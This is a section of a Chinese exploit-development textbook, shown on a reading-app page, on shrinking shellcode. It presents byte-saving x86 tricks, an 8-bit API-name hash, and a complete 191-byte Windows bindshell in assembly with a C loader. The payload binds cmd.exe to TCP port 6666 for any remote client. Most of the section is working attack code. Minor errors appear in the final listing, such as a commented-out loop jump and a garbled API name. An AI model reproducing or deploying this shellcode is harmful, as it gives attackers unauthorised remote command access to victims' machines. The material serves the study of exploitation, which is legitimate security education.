0day安全
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

3.6 为shellcode“减肥”

3.6.1 shellcode瘦身大法

除了对内容的限制之外,shellcode的长度也将是其优劣性的重要衡量标准。短小精悍的shellcode除了可以宽松地布置在大缓冲区之外,还可以塞进狭小的内存缝隙,适应多种多样的缓冲区组织策略,具有更强的通用性。

用尽可能短的代码篇幅在shellcode中实现丰富的功能需要很多编程技巧,我们这一节就专门讨论这类用于精简代码篇幅的编程技巧。

本节将以实现一个能够绑定端口等待外来连接的shellcode为例,来介绍用于精简代码篇幅的编程技巧。这些技巧和思路将为开发高级的shellcode带来很多启示和帮助。

本节大部分内容源于NGS公司的著名安全专家Dafydd Stuttard的文章“Writing Small shellcode”。在征得Dafydd本人的同意后,我们对这篇文章进行了重新加工和组织,希望对shellcode开发感兴趣的朋友能够有所帮助。

本节将涉及比较多的汇编知识和技术,供有一定汇编语言开发基础的朋友学习参考。如果您想专注于漏洞分析和利用方面的知识,也可跳过本节,直接学习后续的章节。

当shellcode的尺寸缩短到一定程度之后,每减少一个字节,我们都需要额外做更多努力。在实际开发之前,首先我们应当清楚shellcode中的指令是用什么办法“节省”出来的。

1.勤俭持家——精挑细选“短”指令

x86指令集中指令所对应的机器码的长短是不一样的,有时候功能相似的指令的机器码长度差异会很大。这里给出一些非常有用的单字节指令。

xchg eax,reg交换eax和其他寄存器中的值
lodsd 把esi指向的一个dword装入eax,并且增加esi
lodsb 把esi指向的一个byte装入al,并且增加esi
stosd
stosb
pushad/popad 从栈中存储/恢复所有寄存器的值
   cdq用edx把eax扩展成四字。这条指令在eax<0x80000000时可用作mov edx ,
NULL
2.事半功倍——“复合”指令功能强

有时候我们可以把两件事情用一条指令完成,例如,用xchg、lods或者stos。

3.妙用内存——另类的API调用方式

有些API中许多参数都是NULL,通常的做法是多次向栈中压入NULL。如果我们换一个思路,把栈中的一大片区域一次性全部置为NULL,在调用API的时候就可以只压入那些非NULL的参数,从而节省出许多压栈指令。

我们经常会遇到API中需要一个很大的结构体做参数的情况。通过实验可以发现,大多数情况下,健壮的API都可以允许两个结构体相互重叠,尤其是当一个参数是输入结构体[in],另一个用作接收的结构体[out]时,如果让参数指向同一个[in]结构体,函数往往也能正确执行。这种情况下,仅仅用一个字节的短指令“push esp”就可以代替一大段初始化[out]结构体的代码。

4.色既是空,空既是色——代码也可以当数据

很多Windows的API都会要求输入参数是一种特定的数据类型,或者要求特定的取值区间。虽然如此,通过实验我们发现,大多数API出于函数健壮性的考虑,在实现时已经对非法参数做出了正确处理。例如,我们经常见到API的参数是一个结构体指针和一个指明结构体大小的值,而用于指明结构体大小的参数只要足够大,就不会对函数执行造成任何影响。如果在编写shellcode时,发现栈区恰好已经有一个很大的数值,哪怕它是指令码,我们也可以把它的值当成数据直接使用,从而节省掉一条参数压栈的指令。总之,在开发shellcode的时候,代码可以是数据,数据也可以是代码!

3.变废为宝——调整栈顶回收数据

普通程序员不会直接与系统栈打交道,通常与栈沟通的总是编译器。在编译器看来,栈仅仅是用来保护函数调用断点、暂存函数输入参数和返回值等的场所。但是,作为一个shellcode的开发人员,必须富有更多的想象力。栈顶之上的数据在逻辑上视为废弃数据,但其物理内容往往并未遭到破坏。如果栈顶之上有需要的数据,不妨调整esp的值将栈顶抬高,把它们保护起来以便后面使用,这样能节省出很多用作数据初始化的指令。这与我们前边讲的抬高栈帧保护shellcode有相似之处。

6.打破常规——巧用寄存器

按照默认的函数调用约定,在调用API时有些寄存器(如EBP、ESI、EDI等)总是被保存在栈中。把函数调用信息存在寄存器中而不是存在栈中会给shellcode带来很多好处。比如大多数函数的运行过程中都不会使用EBP寄存器,故我们可以打破常规,直接使用EBP来保存数据,而不是把数据存在栈中。

一些x86的寄存器有着自己特殊的用途。有的指令要求只能使用特定的寄存器;有的指令使用特定寄存器时的机器码要比使用其他寄存器短。此外,如果寄存器中含有调用函数时需要的数值,尽管不是立刻要调用这些函数,可能还是要考虑提前把寄存器压入栈内以备后用,以免到时候还得另用指令重新获取。

7.取其精华,去其糟粕——永恒的压缩法宝,hash

实用的shellcode通常需要超过200甚至300字节的机器码,所以对原始的二进制shellcode进行编码或压缩是很值得的。上节实验中在搜索API函数名时,并没有在shellcode中存储原始的函数名,而是使用了函数名的摘要。在需要的API比较多的情况下,这样能够节省不少shellcode的篇幅。

3.6.2 选择恰当的hash算法

我们想要在shellcode中实现的功能如下。

(1)绑定一个shell到6666端口。

(2)允许外部的网络连接使用这个shell。

(3)程序能够正常退出。

这个shellcode应当具有较强的通用性,能够在Windows NT4、Windows 2000、Windows XP和Windows 2003上运行。开发过程中需要解决的问题实际上有这样两个。

(1)在不同的操作系统版本中,用通用的方法定位所需API函数的地址。

(2)调用这些API,完成shellcode的功能。

定位API的方法和思路已经在上节实验中介绍过了,这里准备进一步优化搜索API时使用的hash算法,以精简shellcode。

实现bindshell需要的函数包括。

1.kernel32.dll中的导出函数
LoadLibraryA 用来装载ws2_32.dll。
CreateProcessA 用来为客户端创建一个shell命令窗口。
ExitProcess 用于程序的正常退出。
2.ws2_32.dll中的导出函数
WSAStartup 需要初始化winsock。
WSASocketA 创建套结字。
bind 绑定套结字到本地端口。
listen 监听外部连接。
accept 处理一个外部连接。

我们将搜索相关库函数的导出表,查找导出表中的函数名,最终确定函数入口地址。在搜索操作中将采用比较hash摘要的方法,而不是直接比较函数名。其中,选择合适的hash算法将是这种方法的关键,也是缩短shellcode代码的关键。

下面是在选择这种算法时所考虑的因素。

(1)所需的每个库文件(dll)内所有导出函数的函数名经过hash后的摘要不能有“碰撞”。

其实这个因素在一些情况下可以适当放宽。例如,当被搜索的函数排在碰撞函数名的第一个时,即使存在hash碰撞,我们仍然知道最先搜到的就是所需要的函数,故这种碰撞是可以容忍的。

(2)函数名经过hash后得到的摘要应该最短。

可以认为单字节(8bit)的摘要是最佳的。kernel32.dll的导出表里有超过900个函数,8bit的摘要有256种可能,考虑到hash碰撞可以部分容忍,经过精心选择hash算法,这个摘要长度应该可行。如果把hash值缩短到小于8bit,则需要额外的代码处理摘要的字节对齐问题,这个代价相对压缩摘要而节省出的空间来说,是得不偿失的(我们上节实验中的摘要为4字节,是本节摘要长度的4倍)。

(3)hash算法实现所需的代码篇幅最短。

这里需要牢记于心,x86中实现相似功能的操作码长短往往相差很多,例如:

\xd0\xc1 ;rol cl, 1
\xc0\xc1\x02 ;rol cl, 2
\x66\xc1\xc1\x02 ;rol cx, 2

所以,一个需要完成很多操作的hash函数的机器码在经过精心优化选取最恰当的指令后,是有很大的“减肥”空间的。

(4)经过hash后的摘要可等价于指令的机器码,即把数据也当做代码使用。

如果所需函数的函数名后经过hash后得到的摘要等价于nop指令,即“准nop指令”,那么就可以把这些hash值放在shellcode的开头。这样布置shellcode可以省去跳过这段摘要的跳转指令,处理器可以直接把这段hash摘要当作指令,顺序执行过去。此时,数据和代码实际上是重叠的。

提示:“准nop”指令并不仅仅是指0x90,而是相对于实际代码的上下文而言的,是指不影响后续代码执行的指令。比如此时ECX中的值无关紧要,那么INC ECX对于整个shellcode来说就相当于“不疼不痒”的nop指令。

考虑到会有很多hash算法供我们选择,您可以写一段程序来测试这些算法中哪些最符合要求。首先选取一部分hash需要的x86指令(xor、add、rol等)用来构造hash算法,然后把动态链接库中导出函数的函数名一个一个地送进这个hash函数,得到对应的8bit的摘要,并按照hash碰撞、摘要最短、算法精炼这三条标准对算法进行筛选。

在可被两条双字节指令实现的hash算法中,可以找到6种符合基本条件。经过人工核查,发现其中一种hash算法恰能够满足代码和数据重叠的要求。

题外话:尽管这里的hash算法适用于目前所有基于NT的Windows版本,但是如果将来的Windows版本在动态链接库中引进新的导出函数,打破了容忍hash碰撞的限制(新导出函数的hash值与我们所需函数的hash值一样,并且在我们所需的函数之前定义),那么我们就得重新寻找新的hash算法了。

最终的hash算法如下(esi指向当前被hash的函数名;edx被初始化为null)。

hash_loop:
      lodsb ;把函数名中的一个字符装入al,并且esi+1,指向函数
            ;名中下一个字符
      xor al, 0x71 ;用0x71异或当前的字符
      sub dl, al ;更新dl中的hash值
      cmp al, 0x71 ;继续循环,直到遇到字符串的结尾null
      jne hash_loop

通过这个hash函数,原函数名、hash值、hash值对应的指令三者之间的关系如表3-6-1所示。

表3-6-1 原函数名、hash值及其对应指令的关系

这里顺便看一下字符串“cmd”紧跟在hash值后面会对程序执行有什么影响。在调用CreateProcessA的时候,我们需要这个字符串作参数来得到一个命令行的shell。已知这个调用不需要后缀“.exe”,并且对字符串的要求是大小写无关的,也就是说,“cMd”与“cmD”是等价的,如表3-6-2所示。

表3-6-2 ASCII字值及其机器码对应的指令

0x64对应的是取指前缀,就是告诉处理器取指令的时候去FS段中的地址里取。由于大多数情况只是要执行下一条指令,所以前缀是多余的,并且会被处理器忽略。因此,字符串“CMd”也将被处理器当做指令“不疼不痒”地执行过去。

3.6.3 191个字节的bindshell

在优化完hash算法之后,还需要把hash过的函数名变成真正的函数地址。有两种思路:一次解析出所有函数的入口地址,然后保存在栈中以供后面使用;在每次使用到这个函数的时候再去解析它。这两种方案各有利弊,需要视具体情况而定,这里采用第一种方案。

我们准备把解析出的函数地址存于栈中shellcode的“上”边(内存低址)。由于是通过调用ExitProcess退出程序,所以不用担心堆栈平衡等内存细节。

一共有8个函数地址,地址为双字,每个4字节,共32个字节。我们将从hash摘要前的24个字节的地方开始存储函数地址,这意味着最后两个函数地址将写入hash值的区域,而且刚好在字符串“cmd”之前结束(8个函数名的hash值,共8字节)。稍后就会明白,这样做是因为可以用寄存器中指向“cmd”的指针来调用CreateProcessA。

之后用lodsb指令来读取hash值、stosd指令来存储函数地址,为此需要把esi指向hash值、edi指向函数地址的存储位置。由于这时eax中的值相对比较小(指向栈中的某一个位置),所以还可以利用单字节指令cdq给edx置0。

   cdq  ;set edx = 0
xchg eax, esi  ;esi = addr of first function hash
   lea edi, [esi - 0x18]  ;edi = addr to start writing function

我们需要的函数来自于两个动态链接库文件:kernel32.dll和ws2_32.dll。由于ws2_32.dll还没有被装载,而每一个Windows的进程都会装载kernel32.dll,所以先从它开始。这里仍然用上节介绍的读取PEB中动态链接库初始化列表的经典方法来获得动态链接库的基址。

这里要循环执行8次地址定位才行。当kernel32.dll中的函数地址全都被找到的时候,需要调用LoadLibrary(“ws2_32”),然后用获得的基址去定位Winsock需要的其他函数。所以,在8次地址定位过程中还要加一次基地址切换。

当后面调用WSAStartup函数的时候,为了避免内存错误,我们还需要一个比较大块的栈空间来初始化WSADATA结构体。此刻,edx中的值是null,我们在栈中存储字符串“ws2_32”及其指针的代码如下:

mov dh, 0x03
sub esp, edx  ;栈顶抬高0x0300
mov dx, 0x3233 ;0x32是ASCII字符‘2’,0x33是字符‘3’
push edx  ;edx此时的内容为0x00003233,压栈后内存由低到高的
;方向为0x33320000
push 0x5f327377 ;压栈后,内存由低到高(栈顶向栈底)为
;0x7773325f33320000,就是“ws2_32”
   push esp  ;此时的esp指向字符串“ws2_32”

假设解析函数地址时ebp中存储着动态链接库的基址,esi指向下一个函数名的hash值,edi指向下一个函数入口地址应该存放的位置。

在读入hash值之后,需要找到函数导出表。

find_lib_functions:
      lodsb  ;load next hash into al
find_functions:
      pushad  ;preserve registers
      mov eax, [ebp + 0x3c] ;eax = start of PE header
      mov ecx, [ebp + eax + 0x78] ;ecx = relative offset of export
                                  ;table
      add ecx, ebp  ;ecx = absolute addr of export table
      mov ebx, [ecx + 0x20] ;ebx = relative offset of names table
      add ebx, ebp  ;ebx = absolute addr of names table
      xor edi, edi  ;edi will count through the functions

然后,在循环中计算导出表中所有函数名的hash值。

next_function_loop:
      inc edi                  ;increment function counter
      mov esi, [ebx + edi * 4] ;esi = relative offset of current
                               ;function name
      add esi, ebp             ;esi = absolute addr of current
                               ;function name
      cdq                      ;dl will hold hash (we know eax is;small)
hash_loop:
      lodsb                    ;load next char into al
      xor al, 0x71             ;XOR current char with 0x71
      sub dl, al               ;update hash with current char
      cmp al, 0x71             ;loop until we reach end of string
      jne hash_loop

之后比较导出表中每一个函数名hash后得到的摘要,从而找出它们的地址。我们使用的shellcode装载程序假定eax指向shellcode的起始地址,且shellcode的起始正是存放所需函数hash摘要的地方,但在pushad指令保存所有寄存器状态之后,eax将被改写,而eax原值存储在栈中esp+0x1c的地方,所以需要把计算出的hash值与esp+0x1c所指的hash值相比较。

cmp dl, [esp + 0x1c]  ;compare to the requested hash
jnz next_function_loop

当跳出next_function_loop的时候,用edi作为计数器,里边所记录的循环次数就是函数偏移地址表中的位置,剩下的就是顺藤摸瓜找出这个函数的入口地址了。

  mov ebx, [ecx + 0x24]  ;ebx = relative offset of ordinals table
add ebx, ebp  ;ebx = absolute addr of ordinals
;table
mov di, [ebx + 2 * edi]  ;di = ordinal number of matched
;function
mov ebx, [ecx + 0x1c]  ;ebx = relative offset of address table
add ebx, ebp  ;ebx = absolute addr of address table
add ebp, [ebx + 4 * edi]  ;add to ebp (base addr of module) the
;relative offset of matched function

现在ebp中已经存放着所需的函数地址了,然而我们希望这个地址由edi中的指针引用。可以用stosd把地址存到那里,但是需要首先恢复edi的原始值。下面这几行代码虽然看起来有点不合常理,但却能够完成这个任务,并且只需要4个字节。

xchg eax, ebp  ;move func addr into eax
pop edi  ;edi is last onto stack in pushad
stosd  ;write function addr to [edi]
   push edi  ;restore the stack ready for popad

现在已经能够完成一个函数名hash对应的入口地址的解析了。我们需要保存寄存器状态,然后继续循环执行,直到所需的8个函数名的hash都被解析出来。回忆一下前面是怎样存放这些函数地址的?对了,最后一个函数地址将准确地把存放函数名hash的地方覆盖掉(后面是“cmd”字符串),所以我们可以通过判断esi和edi两个寄存器中指针的相同来结束用于API定位的循环体。

  popad
cmp esi, edi
  jne find_lib_functions

这差不多就是解析API入口地址的全过程,唯一欠缺的就是从kernel32.dll切换到ws2_32.dll中去解析函数地址了。当搞定前三个函数地址的时候,在执行find_functions之前加入下面几行代码来做到动态连接库的切换。

  cmp al, 0xd3  ;hash of WSAStartup
jne find_functions
xchg eax, ebp  ;save current hash
call [edi - 0xc]  ;LoadLibraryA
xchg eax, ebp  ;restore current hash, and update ebp;with base address of ws2_32.dll
push edi   ;save location of addr of first;Winsock function

提示:这时指向字符串“ws2_32”的指针恰好在栈顶,所以可以直接调用LoadLibraryA。

获得了这些函数地址之后,我们需要恰当地调用这些Winsock相关的函数。

首先需要调用WSAStartup来初始化Winsock。前面已经说过在解析函数的同时就把函数地址存在了栈中,并且是按照调用顺序存放的。因此,可以把函数地址装入esi,然后用lodsd/call eax来调用每一个需要的Winsock函数。

WSAStartup 函数有两个参数。

  int WSAStartup(
WORD wVersionRequested,
LPWSADATA lpWSAData
  );

我们用栈区存储WSADATA结构体。由于这是一个[out]参数,且用于函数回写返回值,故不需要专门去初始化这个结构体。前边我们已经为自己开辟了足够大的栈空间,所以这里只要让这个结构体指针指向栈内一块空闲的区域,别让函数在回写返回值的时候冲掉有用的数据或者shellcode就行。

  pop esi ;location of first Winsock function
push esp ;lpWSAData
push 0x02 ;wVersionRequested
lodsd
  call eax ;WSAStartup

WSAStartup返回0代表Winsock初始化成功(如果非0,也就不用指望其余的代码能够成功运行了)。所以在eax中我们又有一个唾手可得的NULL用来做其他事情了。字符串“cmd”后面需要NULL作为字符串的结束;其他Winsock函数的参数中有不少也是NULL。如果现在我们把栈中一大片区域都置成NULL,那么在调用这些函数的时候就可以省去好几条对NULL的压栈指令。

除此以外,在调用CreateProcessA的时候我们只要对这片为NULL的栈区稍作“点缀”,就可以初始化出一个STARTUPINFO结构体。

  mov byte ptr [esi + 0x13], al
lea ecx, [eax + 0x30]
mov edi, esp
  rep stosd

WSASocket函数有6个参数。

  SOCKET WSASocket(
int af,
int type,
int protocol,
LPWSAPROTOCOL_INFO lpProtocolInfo,
GROUP g,
DWORD dwFlags
  );

我们只关心前两个参数,其余的都将设置NULL。对于af参数,这里将传入2(AF_INET),对于type,传入1(SOCK_STREAM)。由于栈区已经被初始化成NULL,所以其余的NULL参数压栈操作都可以省去了。

此外函数将返回一个socket,在后面的调用中(bind等)还要用到它。由于这里的API调用都不会修改ebp的值,所以我们可以用单字节的指令xchg ebp, eax把返回的socket保存在ebp中,而不是用两个字节的压栈指令存入栈中。

  inc eax
push eax  ;type = 1 (SOCK_STREAM)
inc eax
push eax  ;af = 2 (AF_INET)
lodsd
call eax  ;WSASocketA
  xchg ebp, eax  ;save SOCKET descriptor in ebp

下面要让得到的socket监听客户端的连接,也就是调用bind函数,它有3个参数。

  int bind(
SOCKET  s,
const struct sockaddr* name,
int  namelen
  );

作为一个普通的程序员,通常可能会认为要正确地调用bind函数,首先需要完成以下工作。

(1)创建并初始化一个sockaddr结构体。

(2)把结构体的大小压入栈中。

(3)把结构体的指针压入栈中。

(4)把socket压入栈中。

如果打破这种常规的思维方式,我们可以做得更巧妙。

首先,大多数结构体的名字都允许为空,所以只用关心sockaddr中前两个成员变量。

short sin_family;
u_short sin_port;

其次,指明结构体大小的参数不一定真的就是精确的结构体长度。前面已经说过,只要这个参数足够大就行。所以这里将用0x0a1a0002作为指明结构体的大小的参数。其中,0x1a0a是十进制的6666,后面会被再次用作端口号;0x02则还可用作指明AF_INET。不巧的是,这个0x0a1a0002中包含一个字节的null,所以不能直接引用这个DWORD,必须用点心思巧妙地把它构造出来。

  mov eax, 0x0a1aff02
xor ah, ah  ;remove the ff
push eax  ;"length" of our structure, and its first two
;members
push esp  ;pointer to our structure
push ebp  ;saved SOCKET descriptor
lodsd
  call eax  ;bind

结构体中其他为NULL的部分就不用我们再去操心了,因为整个栈都已经被置成了NULL。后面还需要调用listen和accept函数,这两个函数的定义如下。

  int listen(
SOCKET  s,
int  backlog
);
SOCKET accept(
SOCKET  s,
struct sockaddr* addr,
int*  addrlen
  );

对于这两个函数,调用的关键是我们前边已经存在ebp中的socket,其他的参数还是一律传NULL。accept函数将返回另一个socket用来表示客户端的连接,而bind和listen函数调用成功时会返回0。注意到这一点之后,可用返回值是否是NULL来作为循环结束的条件,在一个循环体中完成3次函数调用,而不是占用宝贵的shellcode空间来重复调用3次。读到这里,您就能明白前边把函数地址按照调用的顺序在栈里摆放的好处了。这个部分的代码如下。

call_loop:
      push ebp ;saved SOCKET descriptor
      lodsd
      call eax  ;call the next function
      test eax, eax ;bind() and listen() return 0,;accept() returns a SOCKET descriptor
jz call_loop

还缺一点就要大功告成了,我们还要接受客户端的连接,把cmd.exe作为子进程运行起来,并且用客户端的socket作为这个进程的std句柄,最后正常退出。

CreateProcess函数有10个参数,对我们而言,最关键的参数是STARTUPINFO结构体。就是这个结构体指明了“cmd”字符串,并把客户端的socket作为其std句柄。

STARTUPINFO的大多数成员变量都可以是NULL,所以用栈区被置过NULL的区域来初始化这个结构体。我们需要把STARTF_USESTDHANDLES标志位设为true,然后把客户端的socket(由accept函数返回,现在应该存在eax中)传给hStdInput、hStdOutput和hStdError(其实如果不管stderr,还可以节省出一条单字节指令)。

;initialise a STARTUPINFO structure at esp
inc byte ptr [esp + 0x2d] ;set STARTF_USESTDHANDLES to true
sub edi, 0x6c  ;point edi at hStdInput in
;STARTUPINFO
stosd  ;set client socket as the stdin
;handle
stosd  ;same for stdout
stosd  ;same for stderr (optional)

最后就是调用CreateProcess函数。这段代码需要解释的东西不多,只要注意选取最短小精悍的指令就行。例如,由于栈中大片空间已经被设置NULL,故可以用单字节的短指令“pop eax”来为寄存器清零,而不是用两个字节的指令“xor eax, eax”;可以用单字节指令“push esp”来压入一个true,而不是双字节的指令“push 1”。

由于PROCESSINFORMATION结构体是一个[out]型的参数,可以把它指向栈区的[in]参数STARTUPINFO结构体。

  pop eax  ;set eax = 0 (STARTUPINFO now at esp + 4)
push esp  ;use stack as PROCESSINFORMATION;structure (STARTUPINFO now back to esp)
push esp  ;STARTUPINFO structure
push eax  ;lpCurrentDirectory = NULL
push eax  ;lpEnvironment = NULL
push eax  ;dwCreationFlags = NULL
push esp  ;bInheritHandles = true
push eax  ;lpThreadAttributes = NULL
push eax  ;lpProcessAttributes = NULL
push esi  ;lpCommandLine = "cmd"
push eax  ;lpApplicationName = NULL
  call [esi - 0x1c]  ;CreateProcessA

现在,客户端已经能获得一个shell了,当然最后还要调用exit函数让程序能够正常地退出。

call [esi - 0x18] ;ExitProce–ss

完整的代码实现如下。

  ;start of shellcode
;assume: eax points here
;function hashes (executable as nop-equivalent)
      _emit 0x59 ;LoadLibraryA ;pop ecx
      _emit 0x81  ;CreateProcessA ;or ecx, 0x203062d3
      _emit 0xc9  ;ExitProcess
      _emit 0xd3  ;WSAStartup
      _emit 0x62  ;WSASocketA
      _emit 0x30  ;bind
      _emit 0x20  ;listen
      _emit 0x41  ;accept ;inc ecx
      ;"CMd"
      _emit 0x43  ;inc ebx
      _emit 0x4d  ;dec ebp
      _emit 0x64  ;FS:
;start of proper code
      cdq  ;set edx = 0 (eax points to stack so
      ;is less than 0x80000000)
      xchg eax, esi  ;esi = addr of first function hash
      lea edi, [esi - 0x18] ;edi = addr to start writing function
      ;addresses (last addr will be written
      ;just before "cmd")
;find base addr of kernel32.dll
      mov ebx, fs:[edx + 0x30] ;ebx = address of PEB
      mov ecx, [ebx + 0x0c] ;ecx = pointer to loader data
      mov ecx, [ecx + 0x1c] ;ecx = first entry in initialisation
      ;order list
      mov ecx, [ecx]  ;ecx = second entry in list
      ;(kernel32.dll)
      mov ebp, [ecx + 0x08] ;ebp = base address of kernel32.dll
;make some stack space
      mov dh, 0x03  ;sizeof(WSADATA) is 0x190
      sub esp, edx
;push a pointer to "ws2_32" onto stack
      mov dx, 0x3233  ;rest of edx is null
      push edx
      push 0x5f327377
      push esp
find_lib_functions:
      lodsb  ;load next hash into al and increment
      ;esi
      cmp al, 0xd3  ;hash of WSAStartup - trigger;LoadLibrary("ws2_32")
      jne find_functions
      xchg eax, ebp  ;save current hash
      call [edi - 0xc]  ;LoadLibraryA
      xchg eax, ebp  ;restore current hash, and update ebp;with base address of ws2_32.dll
      push edi  ;save location of addr of first
      ;winsock function
find_functions:
      pushad  ;preserve registers
      mov eax, [ebp + 0x3c] ;eax = start of PE header
      mov ecx, [ebp + eax + 0x78] ;ecx = relative offset of export table
      add ecx, ebp  ;ecx = absolute addr of export table
      mov ebx, [ecx + 0x20] ;ebx = relative offset of names table
      add ebx, ebp  ;ebx = absolute addr of names table
      xor edi, edi  ;edi will count through the functions
next_function_loop:
      inc edi  ;increment function counter
      mov esi, [ebx + edi * 4] ;esi = relative offset of current
      ;function name
      add esi, ebp  ;esi = absolute addr of current function
      ;name
      cdq  ;dl will hold hash (we know eax is;small)
hash_loop:
      lodsb  ;load next char into al and increment
      ;esi
      xor al, 0x71  ;XOR current char with 0x71
      sub dl, al  ;update hash with current char
      cmp al, 0x71  ;loop until we reach end of string
      jne hash_loop
      cmp dl, [esp + 0x1c] ;compare to the requested hash (saved;on stack from pushad)
      jnz next_function_loop
      ;we now have the right function
      mov ebx, [ecx + 0x24] ;ebx = relative offset of ordinals
      ;table
      add ebx, ebp  ;ebx = absolute addr of ordinals
      ;table
      mov di, [ebx + 2 * edi] ;di = ordinal number of matched
      ;function
      mov ebx, [ecx + 0x1c] ;ebx = relative offset of address
      ;table
      add ebx, ebp  ;ebx = absolute addr of address table
      add ebp, [ebx + 4 * edi] ;add to ebp (base addr of module) the
      ;relative offset of matched function
      xchg eax, ebp  ;move func addr into eax
      pop edi  ;edi is last onto stack in pushad
      stosd  ;write function addr to [edi] and
      ;increment edi
      push edi
      popad  ;restore registers
      cmp esi, edi  ;loop until we reach end of last hash
      jne find_lib_functions
      pop esi  ;saved location of first winsock
      ;function
      ;we will lodsd and call each func in;sequence
      ;initialize winsock
      push esp  ;use stack for WSADATA
      push 0x02  ;wVersionRequested
      lodsd
      call eax  ;WSAStartup
      ;null-terminate "cmd"
      mov byte ptr [esi + 0x13], al ;eax = 0 if WSAStartup() worked
      ;clear some stack to use as NULL parameters
      lea ecx, [eax + 0x30] ;sizeof(STARTUPINFO) = 0x44,
      mov edi, esp
      rep stosd  ;eax is still 0
      ;create socket
      inc eax
      push eax  ;type = 1 (SOCK_STREAM)
      inc eax
      push eax ;af = 2 (AF_INET)
      lodsd
      call eax ;WSASocketA
      xchg ebp,eax ;save SOCKET descriptor in ebp (safe
      ;from being changed by remaining API
      ;calls)
      ;push bind parameters
      mov eax, 0x0a1aff02 ;0x1a0a = port 6666, 0x02 = AF_INET
      xor ah, ah ;remove the ff from eax
      push eax  ;we use 0x0a1a0002 as both the name
      ;(struct sockaddr) and namelen (which
      ;only needs to be large enough)
      push esp  ;pointer to our sockaddr struct
      ;call bind(), listen() and accept() in turn
      call_loop:
      push ebp  ;saved SOCKET descriptor (we
      ;implicitly pass NULL for all other
      ;params)
      lodsd
      call eax  ;call the next function
      test eax, eax  ;bind() and listen() return 0,
      ;accept() returns a SOCKET descriptor
      ;jz call_loop
      ;initialise a STARTUPINFO structure at esp
      inc byte ptr [esp + 0x2d] ;set STARTF_USESTDHANDLES to true
      sub edi, 0x6c ;point edi at hStdInput in
      ;STARTUPINFO
      stosd  ;use SOCKET descriptor returned by
      ;accept (still in eax) as the stdin
      ;handle same for stdout
      stosd  ;same for stderr (optional)
      ;create process
      pop eax  ;set eax = 0 (STARTUPINFO now at esp + 4)
      push esp  ;use stack as PROCESSINFORMATION structure
      ;(STARTUPINFO now back to esp)
      push esp  ;STARTUPINFO structure
      push eax  ;lpCurrentDirectory = NULL push eax  ;lpEnvironment = NULL
      push eax  ;dwCreationFlags = NULL
      push esp  ;bInheritHandles = true
      push eax  ;lpThreadAttributes = NULL
      push eax  ;lpProcessAttributes = NULL
      push esi  ;lpCommandLine = "cmd"
      push eax  ;lpApplicationName = NULL
      call [esi - 0x1c]  ;CreateProcessA
      ;call ExitProcess()
      call [esi - 0x18] ;ExitProcess

可以用前边的shellcode装载器调试运行。

void main()
{
      __asm
      {
         lea eax, sc
         push eax
         ret
      }
}

最后,需要再次注意,这段代码假设eax指向shellcode的开始位置,在具体使用时可能还需稍作调整。